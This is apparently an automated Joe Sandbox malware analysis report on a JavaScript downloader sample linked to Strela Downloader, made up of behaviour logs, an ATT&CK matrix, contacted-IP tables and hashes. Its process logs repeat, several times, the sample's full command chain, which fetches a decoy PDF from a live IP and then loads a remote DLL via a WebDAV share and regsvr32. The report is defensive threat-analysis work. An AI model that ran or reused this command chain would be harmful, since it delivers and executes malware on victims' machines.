Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5747			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4032			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep count: 5747 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep count: 4032 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8084	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7400	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4756	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2636882839.00000200F082B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@`
Source: net.exe, 00000007.00000002.1421601144.000001B8A37C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1406872418.000001B8A3831000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1421828440.000001B8A3831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2638928934.00000200F5C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15410205613216010723.js	3%	Virustotal		Browse
15410205613216010723.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/:	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1349577346.000001B305887000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/:	net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/z	net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2638704229.00000200F5C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1421601144.000001B8A37C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1406872418.000001B8A381E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1421828440.000001B8A3820000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1406074420.00000200F5E20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587934
Start date and time:	2025-01-10 19:32:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15410205613216010723.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.16.168.125, 2.16.168.107, 23.209.209.135, 2.23.244.205, 199.232.214.172, 2.16.168.105, 23.57.90.75, 23.57.90.69, 23.57.90.70, 23.57.90.78, 192.168.2.9, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:33:51	API Interceptor	22x Sleep call for process: powershell.exe modified
13:33:55	API Interceptor	1x Sleep call for process: net.exe modified
13:33:55	API Interceptor	2x Sleep call for process: svchost.exe modified
13:34:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932154632830838
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta+:cJhXC9lHmutpJyiRDeJ/aUKrDgnmc
MD5:	2EC40CCDD1C051CAD35AC2E3AE964562
SHA1:	450A4291C521DEBFC77D08A0D37758E9ACAAAE54
SHA-256:	2DB046F63A9C8241CA2159D1044DE81E8CE508FB10F2F311AEF214DCDED371D9
SHA-512:	70E31EDE06164E7E85914799592DDD5E196B1E788EEBBDBC9DBDDAA4B04AE78D7D2EB4A34E2C7C59EBCB5A33B43583B89939582483D6F476409C60722DCE4BFE
Malicious:	false
